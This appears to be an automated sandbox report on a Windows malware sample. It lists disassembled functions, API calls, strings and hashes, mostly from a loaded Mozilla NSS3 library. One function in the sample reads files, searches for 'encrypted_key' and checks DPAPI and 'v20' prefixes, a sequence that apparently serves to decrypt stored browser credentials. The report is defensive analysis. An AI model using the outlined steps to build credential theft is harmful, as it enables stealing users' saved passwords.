Part of subcall function 6C721240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C721291
Part of subcall function 6C721240: PR_Unlock.NSS3(?,?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C7212A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C776CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C776C91
extern:, xrefs: 6C776C7E
sql:, xrefs: 6C776C52
dbm:, xrefs: 6C776C3A
rdb:, xrefs: 6C776C69
dbm, xrefs: 6C776CA4

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 0feec3466629734eb1c0f80f706efb39e80cdf5a8b18de3a837505e56b77728e
Instruction ID: b2e188e78f3ed20d45eab1c755df71ba2dfe05040e9400addcfdd7d45550e2c2
Opcode Fuzzy Hash: 0feec3466629734eb1c0f80f706efb39e80cdf5a8b18de3a837505e56b77728e
Instruction Fuzzy Hash: 6B0184A170231527EA302769AF49F16355CDB4319CF140931FE08F1A4AFA96E61481B5

Function 00411520 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411557
strtok_s.MSVCRT ref: 004119A0

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction ID: 972b35e280e46cb9f8f2efccef7ae82ad5cc4b0fb079cf0b80f28d4141883f35
Opcode Fuzzy Hash: bda9ece019fec45989a0fac33e763ec2645a230b38903ad477536e26a0420bf4
Instruction Fuzzy Hash: 98C1D1B5A011089BCB14EF60DC99FDA7379AF58308F00449EF509A7282EB34EAD5CF95

Function 004144D0 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004144EE
memset.MSVCRT ref: 00414505

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 0041453C
lstrcatA.KERNEL32(?,02F758D0), ref: 0041455B
lstrcatA.KERNEL32(?,?), ref: 0041456F
lstrcatA.KERNEL32(?,02F75588), ref: 00414583

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 0040A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489
Part of subcall function 0040A430: memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00419550: GlobalAlloc.KERNEL32(00000000,0041462D,0041462D), ref: 00419563

StrStrA.SHLWAPI(?,02F75858), ref: 00414643
GlobalFree.KERNEL32(?), ref: 00414762

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrcatA.KERNEL32(?,00000000), ref: 004146F3
StrCmpCA.SHLWAPI(?,004208D2), ref: 00414710
lstrcatA.KERNEL32(00000000,00000000), ref: 00414722
lstrcatA.KERNEL32(00000000,?), ref: 00414735
lstrcatA.KERNEL32(00000000,00420FA0), ref: 00414744

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 011e4ea173f0192533f32a7e50ccf1eae9d7a4310398b83163c7fce0874e5724
Instruction ID: a18e5ba717d90c20c2426d83a13a237c0a2f648a3df755456e30f39b11c63a78
Opcode Fuzzy Hash: 011e4ea173f0192533f32a7e50ccf1eae9d7a4310398b83163c7fce0874e5724
Instruction Fuzzy Hash: B77157B6D00218ABDB14EBA0DD45FDE737AAF88304F00459DF505A6191EB38EB94CF55

Function 6C784E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7478F8), ref: 6C784E6D

Part of subcall function 6C7209E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7206A2,00000000,?), ref: 6C7209F8
Part of subcall function 6C7209E0: malloc.MOZGLUE(0000001F), ref: 6C720A18
Part of subcall function 6C7209E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C720A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7478F8), ref: 6C784ED9

Part of subcall function 6C775920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C777703,?,00000000,00000000), ref: 6C775942
Part of subcall function 6C775920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C777703), ref: 6C775954
Part of subcall function 6C775920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C77596A
Part of subcall function 6C775920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C775984
Part of subcall function 6C775920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C775999
Part of subcall function 6C775920: free.MOZGLUE(00000000), ref: 6C7759BA
Part of subcall function 6C775920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7759D3
Part of subcall function 6C775920: free.MOZGLUE(00000000), ref: 6C7759F5
Part of subcall function 6C775920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C775A0A
Part of subcall function 6C775920: free.MOZGLUE(00000000), ref: 6C775A2E
Part of subcall function 6C775920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C775A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784EB3

Part of subcall function 6C784820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C784EB8,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C78484C
Part of subcall function 6C784820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C784EB8,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C78486D
Part of subcall function 6C784820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C784EB8,?), ref: 6C784884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784EC0

Part of subcall function 6C784470: TlsGetValue.KERNEL32(00000000,?,6C747296,00000000), ref: 6C784487
Part of subcall function 6C784470: EnterCriticalSection.KERNEL32(?,?,?,6C747296,00000000), ref: 6C7844A0
Part of subcall function 6C784470: PR_Unlock.NSS3(?,?,?,?,6C747296,00000000), ref: 6C7844BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C784F8F
PK11_UpdateSlotAttribute.NSS3(?,6C85DCB0,00000000), ref: 6C784FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C78501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7478F8), ref: 6C78506B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 66e5401d027553c279685a75aeaa0c931f06b61c7d6d26d5952e3486d8f38302
Instruction ID: c9690d72fb3161c2c2fb08eca6094ad0f8fc5a435ffcf33710bdd474f175e152
Opcode Fuzzy Hash: 66e5401d027553c279685a75aeaa0c931f06b61c7d6d26d5952e3486d8f38302
Instruction Fuzzy Hash: E751C5B19022059BEB119F38EE09A9B37B9FF0531CF194635ED0686A12F731D915CAE2

Function 6C72ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72ACE2
malloc.MOZGLUE(00000001), ref: 6C72ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C72AD02
TlsGetValue.KERNEL32 ref: 6C72AD3C
calloc.MOZGLUE(00000001,?), ref: 6C72AD8C
PR_Unlock.NSS3 ref: 6C72ADC0
free.MOZGLUE(00000000), ref: 6C72AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C72AE58
free.MOZGLUE(00000000), ref: 6C72AE69
free.MOZGLUE(?), ref: 6C72AE78
PR_Unlock.NSS3 ref: 6C72AE8C
free.MOZGLUE(?), ref: 6C72AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C72AEC7

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0c8a61c0c6533588adbdf8a769b32dcececd82cf4f9fafd701fa9878d7104bdc
Instruction ID: d862f9946e9c8830deb9be4eebaded18ba571c979f8ad179509fbf58b4db4d33
Opcode Fuzzy Hash: 0c8a61c0c6533588adbdf8a769b32dcececd82cf4f9fafd701fa9878d7104bdc
Instruction Fuzzy Hash: D551C2B1E051159BDF21DF9CDA8666EB7B8BB0636CF040535D815A3B01D338AD09CBD2

Function 6C76ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C76ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C76AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C76AE29

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C76AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C76AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C76AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C76AEA0

Strings

hSession = 0x%x, xrefs: 6C76AE01, 6C76AE11
(CK_INVALID_HANDLE), xrefs: 6C76AE1F, 6C76AE80
C_MessageSignInit, xrefs: 6C76ADE1
hKey = 0x%x, xrefs: 6C76AE62, 6C76AE72

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 597f918d51e20d20d4d794daaf4148a1f816631dba84815b85e391a5570f3603
Instruction ID: b4bb368f61a21a8f7ca187ea51b234fec821053ef0b72d9156d15d110e9bf586
Opcode Fuzzy Hash: 597f918d51e20d20d4d794daaf4148a1f816631dba84815b85e391a5570f3603
Instruction Fuzzy Hash: 3F31F832601114ABCB20DF19DE8DBAB37B9AF4631DF444835E909ABF51D734A818CBD2

Function 6C804C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C804CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C804CFD
sqlite3_value_text16.NSS3(?), ref: 6C804D44

Strings

no more rows available, xrefs: 6C804D2E
API call with %s database connection pointer, xrefs: 6C804CF6
another row available, xrefs: 6C804D20
unknown error, xrefs: 6C804D56
invalid, xrefs: 6C804CF1
out of memory, xrefs: 6C804C78, 6C804C9E
bad parameter or other API misuse, xrefs: 6C804D05
abort due to ROLLBACK, xrefs: 6C804D27, 6C804D33

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 45f7e6d641940e6b458af90eba8fa1b10dfc581a9c1c8f6ce1d77bc4f4242bf4
Instruction ID: 682aed9d03629a26acea43ffac7a79c70f2e737530fc15d17b38f86051b8862b
Opcode Fuzzy Hash: 45f7e6d641940e6b458af90eba8fa1b10dfc581a9c1c8f6ce1d77bc4f4242bf4
Instruction Fuzzy Hash: 073151B2B84854A7E73846289F057A47321BBE331EF560D29CC244BE14C735AC25C3E2

Function 6C762DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C762DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C762E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C762E33

Part of subcall function 6C84D930: PL_strncpyz.NSS3(?,?,?), ref: 6C84D963

PR_LogPrint.NSS3(?,00000000), ref: 6C762E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C762E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C762E81

Strings

hSession = 0x%x, xrefs: 6C762E0E, 6C762E1E
(CK_INVALID_HANDLE), xrefs: 6C762E2C
C_InitPIN, xrefs: 6C762DF1
pPin = 0x%p, xrefs: 6C762E63
ulPinLen = %d, xrefs: 6C762E7C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 63de252cef820f6236c9ba77985bd0de3a7a5e3a9414cee6056a7c9376bf3649
Instruction ID: 2c3829fe81720a45bce0649ef5b3e45a9651b0db04bbf09e305076aab2bbd3a7
Opcode Fuzzy Hash: 63de252cef820f6236c9ba77985bd0de3a7a5e3a9414cee6056a7c9376bf3649
Instruction Fuzzy Hash: A231F371601148ABCB708F19DF4DB5A3BB9EB4631CF448435E808A7F11DB34A918CBE1

Function 6C802D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C802D9F

Part of subcall function 6C6BCA30: EnterCriticalSection.KERNEL32(?,?,?,6C71F9C9,?,6C71F4DA,6C71F9C9,?,?,6C6E369A), ref: 6C6BCA7A
Part of subcall function 6C6BCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6BCB26

sqlite3_exec.NSS3(?,?,6C802F70,?,?), ref: 6C802DF9
sqlite3_free.NSS3(00000000), ref: 6C802E2C
sqlite3_free.NSS3(?), ref: 6C802E3A
sqlite3_free.NSS3(?), ref: 6C802E52
sqlite3_mprintf.NSS3(6C86AAF9,?), ref: 6C802E62
sqlite3_free.NSS3(?), ref: 6C802E70
sqlite3_free.NSS3(?), ref: 6C802E89
sqlite3_free.NSS3(?), ref: 6C802EBB
sqlite3_free.NSS3(?), ref: 6C802ECB
sqlite3_free.NSS3(00000000), ref: 6C802F3E
sqlite3_free.NSS3(?), ref: 6C802F4C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 3cbf027c2bfd3e8fb9b542d268c9aebeb10a1ade7a323bf8b993052559cccaf6
Instruction ID: 6aaf6983111dbf26cdb84ff19d5ad08e1d975353383bc7e989e991ca9462826c
Opcode Fuzzy Hash: 3cbf027c2bfd3e8fb9b542d268c9aebeb10a1ade7a323bf8b993052559cccaf6
Instruction Fuzzy Hash: A3619DB5F002098BEB20CF68D984B9EB7B1EF49348F144424EC15A7B01E779E855CBA5

Function 6C747C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C892120,Function_00097E60,00000000,?,?,?,?,6C7C067D,6C7C1C60,00000000), ref: 6C747C81

Part of subcall function 6C6B4C70: TlsGetValue.KERNEL32(?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4C97
Part of subcall function 6C6B4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CB0
Part of subcall function 6C6B4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CC9

TlsGetValue.KERNEL32 ref: 6C747CA0
EnterCriticalSection.KERNEL32(?), ref: 6C747CB4
PR_Unlock.NSS3 ref: 6C747CCF

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

TlsGetValue.KERNEL32 ref: 6C747D04
EnterCriticalSection.KERNEL32(?), ref: 6C747D1B
realloc.MOZGLUE(-00000050), ref: 6C747D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C747DF4
PR_Unlock.NSS3 ref: 6C747E0E

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 989b3ad292d1032e38e523988b09dd857d37c37b0273b0ac95de5e12b74c3aad
Instruction ID: 1ef30a6ae446238e6c8c2528155a3c1529f84ba11852d046b87f9178550ad757
Opcode Fuzzy Hash: 989b3ad292d1032e38e523988b09dd857d37c37b0273b0ac95de5e12b74c3aad
Instruction Fuzzy Hash: D351F471A05100AFDF219F2CCE4AA6577B5EB0231CF16C13AD90587B22EB30E874CAD1

Function 6C6B4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CB0
